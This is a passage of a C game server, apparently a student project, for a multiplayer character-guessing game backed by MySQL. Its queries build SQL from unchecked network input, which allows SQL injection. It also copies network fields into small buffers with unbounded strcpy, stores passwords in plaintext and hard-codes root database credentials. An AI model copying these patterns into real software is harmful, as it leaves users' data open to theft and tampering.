//el jugador no existe, asi que lo aade a la base de datos
{
//como los ID van en orden (ej: 1,2,3,4...)
//contamos cuantos jugadores hay registrados
//el ltimo id usado ser igual al nmero de jugadores
char consulta [200];
strcpy (consulta,"SELECT COUNT(*) FROM jugador");
err=mysql_query (conn, consulta);
if (err!=0)
{
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row == NULL)
printf ("No se han obtenido datos en la consulta\n");
else
// la columna 0 contiene el ulitimo ID de jugador usado
sprintf(ID_jugador,"%d",atoi(row[0])+1);
//creamos la consulta
pthread_mutex_lock(&mutex); //no me interrumpas ahora
strcpy(consulta,"");
strcpy (consulta, "INSERT INTO jugador VALUES (");
//concatenamos el ID_jugador
strcat (consulta, ID_jugador);
strcat (consulta, ",'");
//concatenamos el nombre
strcat (consulta, nombre);
strcat (consulta, "','");
//concatenamos la contrasea
strcat (consulta, contrasena);
strcat (consulta, "');");
printf("%s",consulta);
// Aadimos el usuario a la lista de conectados
PonConectados(lista,nombre,sock_conn);
err = mysql_query(conn, consulta);
if (err!=0)
printf ("Error al introducir datos la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
else
//la insercin se ha realizado con exito
//informamos al cliente enviando el ID_jugador asignado
sprintf(buff2,"2/%s",ID_jugador);
char conectados [512];
//Envia la lista de conectados actualizada a todos los usuarios
Dameconectados (lista, conectados);
pthread_mutex_unlock(&mutex); //ya puedes interrumpirme
char notificacion [512];
sprintf(notificacion,"6/%s",conectados);
for(int j =0; j<lista->num;j++)
{
write(lista->conectados[j].Socket,notificacion,strlen(notificacion));
}
printf("Se ha enviado la nootificacin: %s\n",notificacion);
strcpy(notificacion,"");
}
}
}
void DarBaja(char nombre[20],char contrasena[20], MYSQL *conn,char buff2[512])
//Busca en la vase de datos el usuario con nombre y contrasena indicados
//Si existe, lo elimina de la base de datos
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [200];
sprintf(consulta,"SELECT ID_jugador FROM jugador WHERE nombre='%s' AND contrasea='%s';",nombre,contrasena);
int err=mysql_query(conn,consulta);
if (err!=0)
{
printf("Error al eliminar datos de la base %u %s\n",
mysql_errno(conn),mysql_error(conn));
exit(1);
}
resultado=mysql_store_result(conn);
row=mysql_fetch_row(resultado);
if (row==NULL)
{
printf("No se han obtenido datos en la consulta\n");
sprintf(buff2,"16/0");
}
else
{
sprintf(consulta,"DELETE FROM jugador WHERE (jugador.nombre= '%s' AND jugador.contrasea = '%s');",nombre,contrasena);
err=mysql_query(conn,consulta);
sprintf(buff2,"16/1");
printf("Se ha enviado el mensaje: %s\n",buff2);
}
}
int IniciarPartida(MYSQL *conn, ListaPartidas *lista)
// Assigna un ID a la partida
{
MYSQL_ROW row;
MYSQL_RES *resultado;
int ID_partida;
if(lista->num==0)
{
char consulta [200];
strcpy (consulta,"SELECT MAX(ID_partida) FROM partida");
int err=mysql_query (conn, consulta);
if (err!=0)
{
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row == NULL)
printf ("No se han obtenido datos en la consulta\n");
else
// la columna 0 contiene el ulitimo ID de partida usado
// que es el mismo numero que el total de partidas que hay
ID_partida=atoi(row[0])+1;
}
else
{
ID_partida=lista->partida[lista->num-1].partida+1;
}
return ID_partida;
}
void DameRecord(MYSQL *conn, char buff2[512],int nform)
// consulta quien tiene el record
// y se envia el mensaje con formato 3/mensaje
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char nombrerecord[20];
int err=mysql_query(conn,"SELECT jugador.nombre FROM jugador,partida WHERE jugador.ID_jugador = (SELECT partida.ID_ganador FROM partida WHERE partida.duracion=(SELECT MIN(partida.duracion) FROM partida)) AND partida.ID_ganador=jugador.ID_jugador ;");
if (err!=0)
{
printf("Error al consultar datos de la base %u %s\n",
mysql_errno(conn),mysql_error(conn));
exit(1);
}
//recogemos el resultado de la consulta
resultado=mysql_store_result(conn);
//Estructura matricial en memoria
//cada fila contiene los datos de una partida
//obtenemos los datos de una fila
row=mysql_fetch_row(resultado);
if (row==NULL)
printf("No se han obtenido datos en la consulta\n");
else
if (row !=NULL)
{
strcpy(nombrerecord,row[0]);
}
sprintf(buff2,"3/%d/%s tiene el record.",nform,row[0]);
printf("Se ha enviado el mensaje: %s\n",buff2);
}
void DamePersonajes (MYSQL *conn, char buff2[512], char ID_partida [10],int nform)
// consulta en la base de datos que personajes se escogieron en la partida indicada
// crea un mensaje de formato: 4/nform/personaje 1/personaje 2
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [200];
sprintf(consulta,"SELECT personaje.nombre_personaje, partida.num_jugadores FROM (partida, personaje, registro) WHERE partida.ID_partida = %s AND partida.ID_partida = registro.ID_partida AND registro.ID_personaje = personaje.ID_personaje",ID_partida);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
//recogemos el resultado de la consulta
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row == NULL)
{
printf ("No se han obtenido datos en la consulta\n");
sprintf(buff2, "4/%d/0",nform);
}
else
{
char lista [200];
strcpy(lista,"");
int num=atoi(row[1]);
for(int j=0;j<num;j++)
{
sprintf(lista,"%s%s/",lista,row[0]);
row = mysql_fetch_row (resultado);
}
sprintf(buff2,"4/%d/%d/%s", nform,num,lista);
printf("Se ha enviado el mensaje: %s\n",buff2);
}
}
void DamePartidasJugadas( MYSQL *conn, char buff2[512], int ID_jugador,int nform)
// Realiza varias consultas en la base de datos y crea mensaje de la forma:
// 5/numero de partidas jugadas/id partida-nombre oponente 1-victoria o derrota/nombre oponente 2-victoria o derrota/...
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [500];
sprintf (consulta,"SELECT COUNT(*) FROM registro WHERE ID_jugador = %d",ID_jugador);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row == NULL)
printf ("No se han obtenido datos en la consulta\n");
else
if (row !=NULL)
{
sprintf(buff2,"5/%d/%s/",nform,row[0]);
}
sprintf (consulta, "SELECT partida.ID_partida,jugador.nombre, registro.ID_jugador, partida.ID_ganador, partida.num_jugadores FROM (jugador,registro, partida) WHERE partida.ID_partida IN (SELECT registro.ID_partida FROM registro WHERE registro.ID_jugador = %d) AND partida.ID_partida = registro.ID_partida AND registro.ID_jugador=jugador.ID_jugador AND jugador.ID_jugador!= %d;",ID_jugador,ID_jugador);
err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
char lista [500];
int num;
char minilista[500];
int e=0;
if (row == NULL)
printf ("No se han obtenido datos en la consulta\n");
else
while (row !=NULL)
{
strcpy(minilista,"");
num=atoi(row[4])-1;
int encontrado=0;
int id=atoi(row[0]);
for (int n=0;n<num;n++)
{
if(strcmp(row[2],row[3])==0)
encontrado=1;
sprintf(minilista,"%s%s,",minilista,row[1]);
row=mysql_fetch_row(resultado);
}
minilista[strlen(minilista)-1]='\0';
if(encontrado==1)
sprintf(buff2,"%s%d-%s-Derrota/",buff2,id,minilista);
else
sprintf(buff2,"%s%d-%s-Victoria/",buff2,id,minilista);
printf("Se ha enviado el mensaje: %s\n",buff2);
}
}
int PonPartida (ListaPartidas *listaPartidas, ListaConectados *listaConectados, MYSQL *conn,ListaInvitaciones *listaInvitaciones,int id)
//aade la partida que se acaba de iniciar a la lista de partidas
{
int ID=IniciarPartida(conn,listaPartidas);
printf ("id partida: %d\n",ID);
for(int n=0;n<listaInvitaciones->num;n++)
{
if(id==listaInvitaciones->invitaciones[n].id)
{
for(int j=0;j<MAX_jugadores;j++)
{
if(j<listaInvitaciones->invitaciones[n].invitaciones)
strcpy(listaPartidas->partida[listaPartidas->num].jugadores[j].jugador,listaInvitaciones->invitaciones[n].jugadores[j].jugador);
else
strcpy(listaPartidas->partida[listaPartidas->num].jugadores[j].jugador,"0");
listaPartidas->partida[listaPartidas->num].jugadores[j].personaje=0;
listaPartidas->partida[listaPartidas->num].jugadores[j].fallo=0;
}
listaPartidas->partida[listaPartidas->num].partida=ID;
listaPartidas->partida[listaPartidas->num].num_jugadores=listaInvitaciones->invitaciones[n].invitaciones;
listaPartidas->partida[listaPartidas->num].fallos=0;
printf ("id partida: %d\n",listaPartidas->partida[listaPartidas->num].partida);
listaPartidas->num++;
}
}
return ID;
}
int PonInvitacion(ListaInvitaciones *lista,char nombre[20],int invitaciones)
//la persona que invita a los otros jugadores crea la invitacion y la anade a la lista de invitaciones
{
id_invitaciones++;
lista->invitaciones[lista->num].aceptadas=1;
lista->invitaciones[lista->num].invitaciones=invitaciones+1;
strcpy(lista->invitaciones[lista->num].jugadores[0].jugador,nombre);
lista->invitaciones[lista->num].id=id_invitaciones;
lista->num++;
return id_invitaciones;
}
int GuardarPersonaje (ListaPartidas *lista, char nombre[20],int id, int id_personaje,int socket)
//Guardamos el personaje escogido por el jugador en la lista de partidas
{
for(int j=0;j<lista->num;j++)
{
if (lista->partida[j].partida==id)
{
if(id_personaje>0)
{
for(int n=0;n<lista->partida[j].num_jugadores;n++)
{
if(strcmp(lista->partida[j].jugadores[n].jugador,nombre)==0)
{
lista->partida[j].jugadores[n].personaje=id_personaje;
return 1;
}
}
}
}
}
return 0;
}
void AdivinarPersonaje (ListaPartidas *lista, char nombre[20],char nombre_adivinar[20], int id, int id_personaje, char buff2 [512],char buff3 [512])
//Compara el personaje con el personaje correspondiente, si coincide envia un 0 al clinete y un 1 al rival
//si no coincide envia un 2 al cliente y un 3 al rival
{
int socket=0;
for(int j=0;j<lista->num;j++)
{
if (lista->partida[j].partida==id)
{
printf("id partida lista: %d, id: %d\n",lista->partida[j].partida,id);
for(int n=0;n<lista->partida[j].num_jugadores;n++)
{
if(strcmp(lista->partida[j].jugadores[n].jugador,nombre_adivinar)==0)
{
if(lista->partida[j].jugadores[n].personaje==id_personaje)
{
sprintf(buff2,"12/%d/1/",id);
sprintf(buff3,"12/%d/2/%s/",id,nombre);
}
else
{
sprintf(buff2,"12/%d/0/",id);
sprintf(buff3,"12/%d/3/%s/",id,nombre);
for(int m=0;m<lista->partida[j].num_jugadores;m++)
{
if(strcmp(lista->partida[j].jugadores[m].jugador,nombre)==0)
lista->partida[j].jugadores[m].fallo=1;
}
lista->partida[j].fallos++;
if(lista->partida[j].fallos==lista->partida[j].num_jugadores-1)
sprintf(buff3,"12/%d/4/",id);
}
}
}
}
}
}
void GuardarPartida (ListaPartidas *lista, MYSQL *conn, char nombre [20], int id,int dia,int mes,int ano,int duracion,char hora[11],int num)
//se guardan todos los datos de la partida en la base de datos en las tablas de partida y registro
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [200];
int id_ganador;
sprintf (consulta,"SELECT ID_jugador FROM jugador WHERE nombre = '%s';",nombre);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row == NULL)
printf ("No se han obtenido datos en la consulta ****\n");
else
id_ganador=atoi(row[0]);
if((dia<10)&&(mes<10))
sprintf(consulta,"INSERT INTO partida VALUES (%d,'0%d/0%d/%d','%s',%d,%d,%d);",id,dia,mes,ano,hora,duracion,id_ganador,num);
else if((dia<10)&&(mes>=10))
sprintf(consulta,"INSERT INTO partida VALUES (%d,'0%d/%d/%d','%s',%d,%d,%d);",id,dia,mes,ano,hora,duracion,id_ganador,num);
else if((dia>=10)&&(mes<10))
sprintf(consulta,"INSERT INTO partida VALUES (%d,'%d/0%d/%d','%s',%d,%d,%d);",id,dia,mes,ano,hora,duracion,id_ganador,num);
else
sprintf(consulta,"INSERT INTO partida VALUES (%d,'%d/%d/%d','%s',%d,%d,%d);",id,dia,mes,ano,hora,duracion,id_ganador,num);
err = mysql_query(conn, consulta);
if (err!=0)
printf ("Error al introducir datos la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
for(int j=0;j<lista->num;j++)
{
if (lista->partida[j].partida==id)
{
printf("lista partidas id: %d, id: %d \n",lista->partida[j].partida,id);
for(int n=0;n<lista->partida[j].num_jugadores;n++)
{
sprintf (consulta,"SELECT ID_jugador FROM jugador WHERE nombre = '%s';",lista->partida[j].jugadores[n].jugador);
printf("consutlta %s\n",consulta);
err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
int id_jugador=0;
if (row == NULL)
printf ("No se han obtenido datos en la consulta\n");
else
id_jugador=atoi(row[0]);
sprintf(consulta, "INSERT INTO registro VALUES (%d,%d,%d);",id,id_jugador,lista->partida[j].jugadores[n].personaje);
printf("consutlta %s\n",consulta);
err = mysql_query(conn, consulta);
if (err!=0)
printf ("Error al introducir datos la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
}
printf("Se ha guardado la partida %d en la base de datos \n",id);
}
}
}
void DameMisResultadosCon(MYSQL *conn, int ID, int nform, char buff2 [512],char nombre [20])
//devuelve la lista de las partidas del cliente con el jugador indicado y con sus resultados correspondientes
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [500];
int miID;
sprintf(consulta,"SELECT jugador.ID_jugador FROM jugador WHERE jugador.nombre='%s';",nombre);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
//recogemos el resultado de la consulta
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
if (row!=NULL)
{
miID=atoi(row[0]);
sprintf(consulta,"SELECT registro.ID_partida, partida.ID_ganador FROM (registro, partida) WHERE partida.ID_partida IN (SELECT registro.ID_partida FROM registro WHERE registro.ID_jugador = %d) AND partida.ID_partida = registro.ID_partida AND registro.ID_jugador =%s;",ID,row[0]);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
//recogemos el resultado de la consulta
MYSQL_RES *resultado2 = mysql_store_result (conn);
MYSQL_ROW row2 = mysql_fetch_row (resultado2);
char lista [500];
strcpy(lista,"");
int cont=0;
if (row2 == NULL)
{
printf ("No se han obtenido datos en la consulta\n");
sprintf(buff2, "13/%d/0",nform);
}
else
{
while(row2!=NULL)
{
if(atoi(row2[1])!=miID)
sprintf(lista,"%s%s-Derrota/",lista,row2[0]);
else
sprintf(lista,"%s%s-Victoria/",lista,row2[0]);
cont++;
row2 = mysql_fetch_row (resultado2);
}
}
sprintf(buff2,"13/%d/%d/%s",nform,cont,lista);
}
else
sprintf(buff2,"13/%d/0",nform);
printf("Se ha enviado el mensaje: %s\n",buff2);
}
void DamePartidasFecha (MYSQL *conn,char fechamin [11], char fechamax [11], int nform, char buff2[512])
//crea la respuesta en buff2 con la lista de partidas que se han jugado entre la fechamin indicada y la fechamax
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [500];
sprintf(consulta,"SELECT registro.ID_partida, jugador.nombre, registro.ID_jugador, partida.ID_ganador, partida.num_jugadores FROM (registro,jugador,partida) WHERE partida.ID_partida BETWEEN (SELECT partida.ID_partida FROM partida WHERE partida.ID_partida = (SELECT MIN(ID_partida) FROM partida WHERE partida.fecha = '%s') ) AND (SELECT partida.ID_partida FROM partida WHERE partida.ID_partida = (SELECT MAX(ID_partida) FROM partida WHERE partida.fecha = '%s')) AND partida.ID_partida = registro.ID_partida AND registro.ID_jugador=jugador.ID_jugador;",fechamin,fechamax);
int err=mysql_query (conn, consulta);
if (err!=0) {
printf ("Error al consultar datos de la base %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit (1);
}
//recogemos el resultado de la consulta
resultado = mysql_store_result (conn);
row = mysql_fetch_row (resultado);
char lista [500];
strcpy(lista,"");
int cont=0;
char ganador[20];
char minilista[500];
int num=0;
if (row == NULL)
{
printf ("No se han obtenido datos en la consulta\n");
sprintf(buff2, "14/%d/0",nform);
}
else
{
while(row!=NULL)
{
strcpy(minilista,"");
cont++;
num=atoi(row[4]);
int id =atoi(row[0]);
for (int n=0;n<num;n++)
{
sprintf(minilista,"%s%s,",minilista,row[1]);
if(atoi(row[2])==atoi(row[3]))
strcpy(ganador,row[1]);
row = mysql_fetch_row (resultado);
}
minilista[strlen(minilista)-1]='\0';
sprintf(lista,"%s%d-%s-%s/",lista,id,minilista,ganador);
}
}
sprintf(buff2,"14/%d/%d/%s",nform,cont,lista);
}
int GuardarInvitacionAceptada(ListaInvitaciones *lista, int id, char nombre [20])
//Cuando un jugador acepta una invitacin lo guarda en la lista de invitaciones
//y devuelve 0 si todos los jugadores han aceptado la invitacion o el numero de
//jugadores que faltan por aceptar la invitacion
{
printf("nombre del que acepta %s \n",nombre);
for(int j=0;j<lista->num;j++)
if(lista->invitaciones[j].id==id)
{
strcpy(lista->invitaciones[j].jugadores[lista->invitaciones[j].aceptadas].jugador,nombre);
for (int n=0;n<lista->invitaciones[j].aceptadas;n++)
printf ("id %d, num %d, jugador %s\n",lista->invitaciones[j].id,lista->invitaciones[j].invitaciones,lista->invitaciones[j].jugadores[n].jugador);
lista->invitaciones[j].aceptadas++;
printf("acpetadas %d\n",lista->invitaciones[j].aceptadas);
if(lista->invitaciones[j].aceptadas==lista->invitaciones[j].invitaciones)
//todos los jugadores han aceptado la Invitacion
return 0;
else
//devolvemos el numero de invitaciones pendientes de respuesta
return lista->invitaciones[j].invitaciones-lista->invitaciones[j].aceptadas;
}
}
void *AtenderCliente( void *socket)
{
MYSQL *conn;
//creamos una conexin al servidor MYSQL
conn=mysql_init(NULL);
if(conn==NULL)
{
printf("Error al crear la conexin: %u %s\n",
mysql_errno(conn),mysql_error(conn));
exit(1);
}
//inicializar la conexin
conn =mysql_real_connect(conn,"shiva2.upc.es","root","mysql","M4_juego_final",0,NULL,0);
//conn =mysql_real_connect(conn,"localhost","root","mysql","juego",0,NULL,0);
if(conn==NULL)
{
printf("Error al iniciar la conexin: %u %s\n",
mysql_errno(conn), mysql_error(conn));
exit(1);
}
int sock_conn, socket_invitador,socket_jugador2;
int *s;
s=(int *) socket;
sock_conn=*s;
//int sock_conn= * (int*) socket;
int ret;
char buff[512];
char buff2[512];
char notificacion [512];
int err;
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [200];
char nombre[20], contrasena[20],ID_jugador[10], ID_partida[10];
int terminar=0;
while (terminar ==0)
{
// Ahora recibimos el cdigo, que dejamos en buff
ret=read(sock_conn,buff, sizeof(buff));
printf ("Recibido\n");
// Tenemos que a?adirle la marca de fin de string
// para que no escriba lo que hay despues en el buffer
buff[ret]='\0';
//Escribimos el nombre en la consola
printf ("Mensaje recibido: %s\n",buff);
char *p = strtok( buff, "/");
int codigo = atoi (p);
if (codigo == 0)
terminar=1;
else if (codigo ==1)
//iniciar sesion
{
p = strtok( NULL, "/");
strcpy (nombre, p);
p = strtok( NULL, "/");
strcpy (contrasena, p);
IniciarSesion (nombre, contrasena, conn, &listaConectados, buff2, sock_conn);
printf ("Se ha enviado el mensaje: %s\n", buff2);
// Y lo enviamos
write (sock_conn,buff2, strlen(buff2));
strcpy(buff2,"");
}
else if (codigo==2)
//registrarse
{
p = strtok( NULL, "/");
strcpy (nombre, p);
p = strtok( NULL, "/");
strcpy (contrasena, p);
Registrar (nombre, contrasena, row, resultado, conn, &listaConectados, buff2, sock_conn, ID_jugador);
printf ("Se ha enviado el mensaje: %s\n", buff2);
// Y lo enviamos
write (sock_conn,buff2, strlen(buff2));
strcpy(buff2,"");
}
else if (codigo==3)
//record
{
p = strtok( NULL, "/");
int nform=atoi(p);
DameRecord(conn,buff2,nform);
printf ("Se ha enviado el mensaje: %s\n", buff2);
write (sock_conn,buff2, strlen(buff2));
strcpy(buff2,"");
}
else if (codigo==4)
//ID de los personajes
{
p = strtok( NULL, "/");
int nform=atoi(p);
p = strtok( NULL, "/");
strcpy (ID_partida, p);
DamePersonajes (conn, buff2, ID_partida,nform);
printf ("Se ha enviado el mensaje: %s\n", buff2);
// Y lo enviamos
write (sock_conn,buff2, strlen(buff2));
strcpy(buff2,"");
}
else if (codigo==5)
//Cuantas partidas ha jugado un jugador
{
p = strtok( NULL, "/");
int nform=atoi(p);
p = strtok( NULL, "/");
int id=atoi(p);
DamePartidasJugadas(conn, buff2, id,nform);
printf ("Se ha enviado el mensaje: %s\n", buff2);
write (sock_conn,buff2, strlen(buff2));
strcpy(buff2,"");
}
else if (codigo == 7)
// cuando el usuario invita a otra persona
// el cleinte envia un mensaje al servidor con el formato:
// 7/num invitados/lista
{
p = strtok( NULL, "/");
int num_invitaciones=atoi(p);
int sockets [MAX_jugadores];
char buff3 [512];
char lista [200];
strcpy(lista,"");
pthread_mutex_lock(&mutex);
for(int j=0;j<num_invitaciones;j++)
{
p = strtok( NULL, "/");
sprintf(lista,"%s%s,",lista,p);
sockets[j]=Damesocket(&listaConectados,p);
}
int id_invitacion=PonInvitacion(&listaInvitaciones,nombre,num_invitaciones);
pthread_mutex_unlock(&mutex);
sprintf(lista,"%s%s,",lista,nombre);
lista[strlen(lista)-1]='\0';
sprintf(buff3,"8/-1/%d/%d/%d/%s",id_invitacion,num_invitaciones,num_invitaciones+1,lista);
sprintf (buff2,"7/%d/%s/%d/%s",id_invitacion,nombre,num_invitaciones+1,lista);
// enviamos el socket solo a la persona que queremos invitar
for(int j=0;j<num_invitaciones;j++)
write (sockets[j],buff2, strlen(buff2));
write(sock_conn,buff3,strlen(buff3));
printf ("Se ha enviado el mensaje: %s\n", buff2);
printf ("Se ha enviado el mensaje: %s\n", buff3);
strcpy(buff2,"");
}
else if (codigo == 8)
// cuando invitan al cliente
// el cliente envia un mensaje al servidor con el formato:
// 8/id_invitacion/respuesta
{
p = strtok( NULL, "/");
int id_invitacion=atoi(p);
p = strtok( NULL, "/");
char respuesta[1];
strcpy (respuesta, p);
int sockets_partida[MAX_jugadores];
int num=0;
if (strcmp(respuesta,"1")==0)
//acepta la invitacion
//guardamos variables ID_partida e ID_oponente
{
int ID_partida;
char lista[100];
strcpy(lista,"");
strcpy(buff2,"");
pthread_mutex_lock(&mutex);
int invitaciones = GuardarInvitacionAceptada(&listaInvitaciones,id_invitacion,nombre);
if(invitaciones==0) //Todos los invitados han aceptado la partida
{
ID_partida=PonPartida(&listaPartidas, &listaConectados,conn,&listaInvitaciones,id_invitacion);
EliminarInvitacion(&listaInvitaciones,id_invitacion);
for(int j=0;j<listaPartidas.num;j++)
{
if(listaPartidas.partida[j].partida==ID_partida)
{
printf("lista id partida: %d id: %d **** invitacion aceptada\n",listaPartidas.partida[j].partida,ID_partida);
for(int n=0;n<listaPartidas.partida[j].num_jugadores;n++)
{
sprintf(lista,"%s%s/",lista,listaPartidas.partida[j].jugadores[n].jugador);
sockets_partida[n]=Damesocket(&listaConectados, listaPartidas.partida[j].jugadores[n].jugador);
printf("Socket %d : %d\n lista: %s\n",n,sockets_partida[n], lista);
}
num=listaPartidas.partida[j].num_jugadores;
printf("num %d\n",num);
}
}
sprintf (buff2,"8/%d/%d/%d/%s",ID_partida,id_invitacion,num,lista);
}
else //Faltan respuestas
{
int num_invitaciones=0;
for(int j=0;j<listaInvitaciones.num;j++)
{
if(listaInvitaciones.invitaciones[j].id==id_invitacion)
{
for(int n=0;n<listaInvitaciones.invitaciones[j].aceptadas;n++)
{
sprintf(lista,"%s%s,",lista,listaInvitaciones.invitaciones[j].jugadores[j].jugador);
sockets_partida[n]=Damesocket(&listaConectados, listaInvitaciones.invitaciones[j].jugadores[n].jugador);
}
num=listaInvitaciones.invitaciones[j].aceptadas;
num_invitaciones=listaInvitaciones.invitaciones[j].invitaciones;
}
}
lista[strlen(lista)-1]='\0';
sprintf(buff2,"8/-1/%d/%d/%d/%s",id_invitacion,num_invitaciones-num,num_invitaciones+1,lista);
}
pthread_mutex_unlock(&mutex);
}
else
//No ha aceptado la invitacin
{
pthread_mutex_lock(&mutex);
for(int j=0;j<listaInvitaciones.num;j++)
{
if(listaInvitaciones.invitaciones[j].id==id_invitacion)
{
for(int n=0;n<listaInvitaciones.invitaciones[j].aceptadas;n++)
{
sockets_partida[n]=Damesocket(&listaConectados, listaInvitaciones.invitaciones[j].jugadores[n].jugador);
}
num=listaInvitaciones.invitaciones[j].aceptadas;
}
}
pthread_mutex_unlock(&mutex);
sprintf (buff2,"8/0/%d",id_invitacion);
}
for(int j=0;j<num;j++)
{
write (sockets_partida[j],buff2, strlen(buff2));
printf ("Se ha enviado el mensaje: %s al socket %d\n", buff2,sockets_partida[j]);
}
strcpy(buff2,"");
}
else if(codigo==9)
// enviar mensajes por el chat
{
p = strtok( NULL, "/");
int ID= atoi(p);
p = strtok( NULL, "/");
char mensaje[400];
strcpy (mensaje, p);
int sockets_partida[MAX_jugadores];
strcpy(buff2,"");
sprintf(buff2,"9/%d/%s",ID,mensaje);
int num=0;
for(int j=0;j<listaPartidas.num;j++)
{
if(listaPartidas.partida[j].partida==ID)
{
for(int n=0;n<listaPartidas.partida[j].num_jugadores;n++)
{
if(strcmp(listaPartidas.partida[j].jugadores[n].jugador,nombre)!=0)
{
if(listaPartidas.partida[j].jugadores[n].fallo==0)
{
sockets_partida[n]=Damesocket(&listaConectados, listaPartidas.partida[j].jugadores[n].jugador);
write (sockets_partida[n],buff2, strlen(buff2));
printf ("Se ha enviado el mensaje: %s al socket %d\n", buff2,sockets_partida[n]);
}
}
}
}
}
strcpy(buff2,"");
}
else if (codigo==10)
//el cliente ha ganado
{
p = strtok( NULL, "/");
int id=atoi(p);
p = strtok( NULL, "/");
char nombre_ganador [20];
p = strtok( NULL, "/");
int dia=atoi(p);
p = strtok( NULL, "/");
int mes=atoi(p);
p = strtok( NULL, "/");
int ano=atoi(p);
p = strtok( NULL, "/");
char hora[11];
strcpy(hora,p);
p = strtok( NULL, "/");
int duracion=atoi(p);
p = strtok( NULL, "/");
int num=atoi(p);
pthread_mutex_lock(&mutex);
GuardarPartida(&listaPartidas,conn,nombre,id,dia,mes,ano,duracion,hora,num);
EliminarPartida(&listaPartidas,id);
pthread_mutex_unlock(&mutex);
}
else if (codigo == 11)
//el cliente selecciona un personaje
{
p = strtok( NULL, "/");
int id=atoi(p);
p = strtok( NULL, "/");
int id_personaje=atoi(p);
int socket=0;
pthread_mutex_lock(&mutex);
int err=GuardarPersonaje(&listaPartidas,nombre,id,id_personaje,socket);
pthread_mutex_unlock(&mutex);
if (err==0)
{
sprintf(buff2,"11/%d/0",id);
write(sock_conn,buff2,strlen(buff2));
}
else
{
sprintf(buff2,"11/%d/1",id);
write(socket,buff2,strlen(buff2));
}
printf ("Se ha enviado el mensaje: %s\n", buff2);
}
else if (codigo == 12)
//el cliente intenta adivinar el personaje del oponente
{
p = strtok( NULL, "/");
int id=atoi(p);
p = strtok( NULL, "/");
char nombre_adivinar[20];
strcpy(nombre_adivinar,p);
p = strtok( NULL, "/");
int id_personaje=atoi(p);
char buff3[512];
strcpy(buff3,"");
strcpy(buff2,"");
int sockets_partida[MAX_jugadores];
pthread_mutex_lock(&mutex);
AdivinarPersonaje(&listaPartidas,nombre,nombre_adivinar,id,id_personaje,buff2,buff3);
for(int j=0;j<listaPartidas.num;j++)
{
printf("lista id: %d id %d\n",listaPartidas.partida[j].partida,id);
if(listaPartidas.partida[j].partida==id)
{
int cont=0;
for(int n=0;n<listaPartidas.partida[j].num_jugadores;n++)
{
if(strcmp(listaPartidas.partida[j].jugadores[n].jugador,nombre)!=0)
{
cont++;
sockets_partida[n]=Damesocket(&listaConectados, listaPartidas.partida[j].jugadores[n].jugador);
}
}
for(int n=0;n<cont+1;n++)
{
if(strcmp(listaPartidas.partida[j].jugadores[n].jugador,nombre)!=0)
{
if(listaPartidas.partida[j].jugadores[n].fallo==0)
{
write (sockets_partida[n],buff3, strlen(buff3));
printf ("Se ha enviado el mensaje: %s\n", buff3);
}
}
}
}
}
pthread_mutex_unlock(&mutex);
write(sock_conn,buff2,strlen(buff2));
printf ("Se ha enviado el mensaje: %s\n", buff2);
}
else if (codigo==13)
//el cliente pide sus resultados con un jugador
{
p = strtok( NULL, "/");
int nform=atoi(p);
p = strtok( NULL, "/");
p = strtok( NULL, "/");
int id=atoi(p);
DameMisResultadosCon(conn,id,nform,buff2,nombre);
write(sock_conn,buff2,strlen(buff2));
}
else if (codigo==14)
//el cliente pide las partidas jugadas en un periodo determinado
{
p = strtok( NULL, "/");
int nform=atoi(p);
p = strtok( NULL, "/");
int dia=atoi(p);
p = strtok( NULL, "/");
int mes=atoi(p);
p = strtok( NULL, "/");
int ano=atoi(p);
char fechamin[11];
if((dia<10)&&(mes<10))
sprintf(fechamin,"0%d/0%d/%d",dia,mes,ano);
else if((dia<10)&&(mes>=10))
sprintf(fechamin,"0%d/%d/%d",dia,mes,ano);
else if((dia>=10)&&(mes<10))
sprintf(fechamin,"%d/0%d/%d",dia,mes,ano);
else
sprintf(fechamin,"%d/%d/%d",dia,mes,ano);
p = strtok( NULL, "/");
dia=atoi(p);
p = strtok( NULL, "/");
mes=atoi(p);
p = strtok( NULL, "/");
ano=atoi(p);
char fechamax[11];
if((dia<10)&&(mes<10))
sprintf(fechamax,"0%d/0%d/%d",dia,mes,ano);
